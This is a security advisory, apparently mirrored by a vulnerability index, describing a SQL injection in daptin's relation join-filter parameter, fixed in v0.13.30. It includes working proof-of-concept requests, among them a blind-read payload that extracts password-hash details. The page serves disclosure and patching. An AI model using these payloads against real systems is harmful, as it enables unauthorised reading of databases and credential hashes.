GHSA-M8RP-22V5-PP4X
SQL injection via the relation join-filter query parameter
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-M8RP-22V5-PP4X divulgada | |
| Remediación | Parche v0.13.30 | github.com/daptin/daptin · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
The generic list endpoint `GET /api/<entity>` accepts a per-relation join filter written as `?<relation>_id=<referenceId>@(<column>:<value>)`. The `<column>` half is dropped straight into a goqu identifier in a JOIN condition with no allowlist check, so a backtick closes the quoted identifier and everything after it is emitted as raw SQL. It's the same goqu identifier-breakout class as the already-fixed `sort` (GHSA-hq2p-f2vj-v3cm) and aggregate (GHSA-8pjw-x53r-v878) injections, just in a parameter those fixes never touched. The injection point is reachable without authentication, and any signed-in account can read arbitrary database contents through it.
Proof of concept
Reproduced against the published `daptin-v0.13.29-linux-amd64` release on its default SQLite backend, with the first user promoted to administrator so default permissions apply. A guest can read `/api/usergroup` to get a valid `<referenceId>`.
# 1. Benign baseline -> 200
GET /api/user_account?usergroup_id=<REF>@(usergroup_id:1)
# 2. A backtick in the column name closes the goqu identifier -> 500.
# The server log shows the injected text inside the executed JOIN:
# ... ON ( ... AND `jt`.`usergroup_id`=`zzz`--` IN (?) ) ...
GET /api/user_account?usergroup_id=<REF>@(usergroup_id`=`zzz`--:1)
# 3. Blind read as an ordinary non-admin user. The injected column becomes a JOIN
# predicate whose truth decides whether the caller's own row comes back:
GET /api/user_account?usergroup_id=<REF>@(usergroup_id`<>-1 AND ((SELECT length(password) FROM user_account WHERE email LIKE 'admin%')<=60) OR `email:x)
# 1 row => predicate true, 0 rows => false. Binary-search any value out.With a self-registered non-admin account I read back another user's bcrypt password hash (length 60, leading `$`), the account count, and the SQLite version. The payload can't contain a comma or a dot (the framework splits query values on commas, goqu splits identifiers on dots), but neither limits what you can read.
Impact
An unauthenticated request can inject raw SQL and reliably error the query, which is a denial of service on its own. Any authenticated user can run arbitrary read queries against the whole database, including the `password` hash column the API never exposes. The unvalidated value is `parts[0]` in `PaginatedFindAllWithoutFilters` (`server/resource/resource_findallpaginated.go:653`); it reaches the goqu JOIN key at line 743.
Resolution
Fixed in v0.13.30 https://github.com/daptin/daptin/releases/tag/v0.13.30. Relation join-filter columns are now resolved against the join table schema before SQL construction. Malformed relation filters and unknown columns return HTTP 400.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/daptin/daptin |
Corregida | v0.13.30 | 0 d | v0.13.57 no afectada |
0.13.30v0.13.30Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/daptin/daptin/security/advisories/GHSA-m8rp-22v5-pp4xLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
